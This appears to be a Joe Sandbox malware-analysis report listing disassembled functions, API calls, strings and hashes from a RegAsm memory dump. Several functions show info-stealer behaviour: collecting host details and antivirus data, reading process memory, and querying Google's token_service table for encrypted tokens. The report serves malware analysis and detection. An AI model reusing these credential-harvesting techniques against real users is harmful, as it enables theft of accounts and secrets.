DName::operator+=.LIBCMT ref: 0042148B
DName::operator+=.LIBCMT ref: 0042149A
DName::operator+=.LIBCMT ref: 004214A6
DName::operator+=.LIBCMT ref: 004214B3

Strings

void, xrefs: 00421492

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: 93969ac5e5e5bd8bc601dc2a0972c9a20acbae03e717c9bf82c440e5d506c8ea
Instruction ID: 7552a301aca1f3a45ee683c8018724b7eda571f2bbd5743f4786fee459a75993
Opcode Fuzzy Hash: 93969ac5e5e5bd8bc601dc2a0972c9a20acbae03e717c9bf82c440e5d506c8ea
Instruction Fuzzy Hash: 99110630A00208AFC714EF24D855AE9BBB0AF10305F4440ABE406DB2E3DB38DA86C709

Function 00411563 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
ReleaseDC.USER32(00000000,00000000), ref: 00411596
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
wsprintfA.USER32 ref: 004115BB

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Strings

%dx%d, xrefs: 004115B5

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: 2455ee3b90cb9d15ce74e627ae3c3686d5434a61c88732fec4f6ec31122e63eb
Instruction ID: 170008d2b248a6dac6df5cacbd3238be6a4bc1abd9d224a85ffebcf6f0d8f3fd
Opcode Fuzzy Hash: 2455ee3b90cb9d15ce74e627ae3c3686d5434a61c88732fec4f6ec31122e63eb
Instruction Fuzzy Hash: 59F0C832601320BBEB249BA59C0DD9B7EAEEF467A7F005451F605D2160E6B75E4087A0

Function 6C149D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C148273), ref: 6C149D65
free.MOZGLUE(6C148273,?), ref: 6C149D7C
free.MOZGLUE(?,?), ref: 6C149D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C149E0F
free.MOZGLUE(6C14946B,?,?), ref: 6C149E24
free.MOZGLUE(?,?,?), ref: 6C149E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C149EC8
free.MOZGLUE(6C14946B,?,?,?), ref: 6C149EDF
free.MOZGLUE(?,?,?,?), ref: 6C149EF5

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: cd8e8207b5a55cf595bfe8366c18d4fe9de076855856d63fbeac9ab03d2c9468
Instruction ID: 270a037d54fc2a6214164f4b2a4c7047365e97efcfd8e30ef268546fbc24e4a8
Opcode Fuzzy Hash: cd8e8207b5a55cf595bfe8366c18d4fe9de076855856d63fbeac9ab03d2c9468
Instruction Fuzzy Hash: 1F71A07090AB418FC712CF18C590A5BF7F8FF99315B448669E85A5BB02EB30E885CB81

Function 6C14DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C14DDCF

Part of subcall function 6C12FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C12FA4B

Part of subcall function 6C1490E0: free.MOZGLUE(?,00000000,?,?,6C14DEDB), ref: 6C1490FF
Part of subcall function 6C1490E0: free.MOZGLUE(?,00000000,?,?,6C14DEDB), ref: 6C149108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C14DE0D
free.MOZGLUE(00000000), ref: 6C14DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C14DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C14DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C14DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C13DEFD,?,6C104A68), ref: 6C14DF32

Part of subcall function 6C14DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C14DB86
Part of subcall function 6C14DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C14DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C13DEFD,?,6C104A68), ref: 6C14DF65
free.MOZGLUE(?), ref: 6C14DF80

Part of subcall function 6C115E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C115EDB
Part of subcall function 6C115E90: memset.VCRUNTIME140(6C157765,000000E5,55CCCCCC), ref: 6C115F27
Part of subcall function 6C115E90: LeaveCriticalSection.KERNEL32(?), ref: 6C115FB2

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 8c813b7f9df1f4086b42e36a8bb8e73b513d1b7b479ea7c6efab6eda33edd8b7
Instruction ID: 2c7bacc19262c5e05f04d90b56d0d324563f99c3d01e55d9ecb0329bc6a13d69
Opcode Fuzzy Hash: 8c813b7f9df1f4086b42e36a8bb8e73b513d1b7b479ea7c6efab6eda33edd8b7
Instruction Fuzzy Hash: 1751EC766056119BDF21AB28C88079FB376BFA1318F96812DD51A63F00D731F91ACBD2

Function 6C155D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C155C8C,?,6C12E829), ref: 6C155D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C155C8C,?,6C12E829), ref: 6C155D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C155C8C,?,6C12E829), ref: 6C155D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C155C8C,?,6C12E829), ref: 6C155D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C155C8C,?,6C12E829), ref: 6C155DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C155C8C,?,6C12E829), ref: 6C155DC9
std::_Facet_Register.LIBCPMT ref: 6C155DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C155C8C,?,6C12E829), ref: 6C155E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C155C8C,?,6C12E829), ref: 6C155E45

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 53771cecb64575fb01e7b96c4b98e6959af6055ce6587c506da8bb2f12e66df6
Instruction ID: 03675a4606d03e182a07f41b90d15ed17e8a74d27a18f2e252488436822b430e
Opcode Fuzzy Hash: 53771cecb64575fb01e7b96c4b98e6959af6055ce6587c506da8bb2f12e66df6
Instruction Fuzzy Hash: 7F41AE717002148FCB00DFA5C898AAEB7B5EF89358F554068E51A9B782EB34EC15CF61

Function 6C12CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C0F31A7), ref: 6C12CDDD

Strings

<jemalloc>, xrefs: 6C12CF9F, 6C12CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C12CFA4, 6C12CFB8

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: a8a0fa3398c16c5c327b12489688e2081182ea144fc62b3548176a0801ce3ff4
Instruction ID: 4ff0aa580f8de6e50c41caa9f8bb559e4a2e9e00f6a0573017cfd07a018d2388
Opcode Fuzzy Hash: a8a0fa3398c16c5c327b12489688e2081182ea144fc62b3548176a0801ce3ff4
Instruction Fuzzy Hash: 173106317402159BFF20AFA58C65BAE7BB5AF45B18F304018F714ABAC0DB78D5408BB1

Function 6C0FECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C0FF100: LoadLibraryW.KERNEL32(shell32,?,6C16D020), ref: 6C0FF122
Part of subcall function 6C0FF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C0FF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C0FED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C0FEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C0FEDCC
CreateFileW.KERNEL32 ref: 6C0FEE08
free.MOZGLUE(00000000), ref: 6C0FEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C0FEE32

Part of subcall function 6C0FEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C0FEBB5
Part of subcall function 6C0FEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C12D7F3), ref: 6C0FEBC3
Part of subcall function 6C0FEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C12D7F3), ref: 6C0FEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C0FEDC1

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 8fd6903a434c1fc3c0ff4f8921da42d50d82bdf3a897c2019daa6c1352fb60c5
Instruction ID: ae0c2965a096d5672b40c612c307f9c8b11e1db41a69e9470018072435339c85
Opcode Fuzzy Hash: 8fd6903a434c1fc3c0ff4f8921da42d50d82bdf3a897c2019daa6c1352fb60c5
Instruction Fuzzy Hash: B551A271D052148BDB00DF68D8447EEBBF1AF59318F44852DEC756BB80E734A989C7A2

Function 0040F915 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000000,?,00000000,00000000,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040F934
VirtualQueryEx.KERNEL32(?,00000000,?,0000001C,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000), ref: 0040F95E
ReadProcessMemory.KERNEL32(?,00000000,?,00064000,00000000,?,?,?,?,?,?,?,?), ref: 0040F9AB
ReadProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0040FA04
VirtualQueryEx.KERNEL32(?,?,?,0000001C), ref: 0040FA5C
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040FA6D

Strings

@, xrefs: 0040F977

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: MemoryProcessQueryReadVirtual
String ID: @
API String ID: 3835927879-2766056989
Opcode ID: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction ID: 782d1e78530d26aac93c20cf39dad9713f636d1ba6f6d7f846141922d26d4ee5
Opcode Fuzzy Hash: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction Fuzzy Hash: B8419D32A00209BBDF209FA5DC49FDF7B76EF44760F14803AFA04A6690D7788A55DB94

Function 6C16A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C16A565

Part of subcall function 6C16A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C16A4BE
Part of subcall function 6C16A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C16A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C16A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C16A6B6

Strings

0, xrefs: 6C16A5FB
z, xrefs: 6C16A6AE

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 736deac954b5121b91105cd5f3d64a1f87296624b39ce85e153c7cdd6a05fb5b
Instruction ID: cd318106a512e6cb85e791995f069fc5b68199c9086e8c41f196a694115b7f7b
Opcode Fuzzy Hash: 736deac954b5121b91105cd5f3d64a1f87296624b39ce85e153c7cdd6a05fb5b
Instruction Fuzzy Hash: 274149719087459FC341DF29C480A9FBBF4BF89354F408A2EF89987650EB34E659CB92

Function 00413259 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 110stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413278
StrCmpCA.SHLWAPI(00000000,004367D8), ref: 004132B1
strtok_s.MSVCRT ref: 00413371

Strings

)yA, xrefs: 0041326B, 0041326E

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: )yA
API String ID: 3330995566-939202500
Opcode ID: d41f5387e2e81f9edfda5ff36e89cc1047728e74c89124c70bd186295e00b63b
Instruction ID: 735330a1d008a833b374886be4d947a81621c86a210c44f2da093846d2bcbd8c
Opcode Fuzzy Hash: d41f5387e2e81f9edfda5ff36e89cc1047728e74c89124c70bd186295e00b63b
Instruction Fuzzy Hash: 64319671E001099FCB14DF68CC85BAA77A8BB08717F51505BEC05DA191EB7CCB818B4C

Function 6C139420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C12AB89: EnterCriticalSection.KERNEL32(6C17E370,?,?,?,6C0F34DE,6C17F6CC,?,?,?,?,?,?,?,6C0F3284), ref: 6C12AB94
Part of subcall function 6C12AB89: LeaveCriticalSection.KERNEL32(6C17E370,?,6C0F34DE,6C17F6CC,?,?,?,?,?,?,?,6C0F3284,?,?,6C1156F6), ref: 6C12ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C104A68), ref: 6C13945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C139470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C139482
__Init_thread_footer.LIBCMT ref: 6C13949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C13947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C139459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C13946B

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 97592d37286a15d5fbaae805c3c09d4422f1752f51ea6169adde22a2c55f0c94
Instruction ID: 54ac93f17127a41202c6b876738a4bd8594fa86383584a67328aadb9fb71a0b2
Opcode Fuzzy Hash: 97592d37286a15d5fbaae805c3c09d4422f1752f51ea6169adde22a2c55f0c94
Instruction Fuzzy Hash: 9E01D878A041218BE7109F5CDA39A8633B5AB0532CF140537DD1FC6B51EA29D4649AB7

Function 00409A0E Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 223stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 00409BB2

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,AccountId), ref: 00409BCF
lstrlenA.KERNEL32(?), ref: 00409C7E
lstrlenA.KERNEL32(?), ref: 00409C99

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 00409B1F
GoogleAccounts, xrefs: 00409A37
GoogleAccounts, xrefs: 00409A8E
AccountId, xrefs: 00409BC9

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$lstrcat$AllocLocal
String ID: AccountId$GoogleAccounts$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 3306365304-1713091031
Opcode ID: fc15099055ccb9ca5eda99ba3b12953fadf14bb1071e537077201667b50a9eeb
Instruction ID: bedf9acd9982ee8b881d2279affa2936c5d78a71dfe3636d44711f8b11a2483e
Opcode Fuzzy Hash: fc15099055ccb9ca5eda99ba3b12953fadf14bb1071e537077201667b50a9eeb
Instruction Fuzzy Hash: D9815171E40109ABCF01FFA5DE469CD77B5AF04309F511026F900B71E2DBB8AE898B98

Function 6C0FB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C0FB61E,?,?,?,?,?,00000000), ref: 6C0FB6AC

Part of subcall function 6C10CA10: malloc.MOZGLUE(?), ref: 6C10CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C0FB61E,?,?,?,?,?,00000000), ref: 6C0FB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C0FB61E,?,?,?,?,?,00000000), ref: 6C0FB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C0FB61E,?,?,?,?,?,00000000), ref: 6C0FB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C0FB61E,?,?,?,?,?,00000000), ref: 6C0FB71D
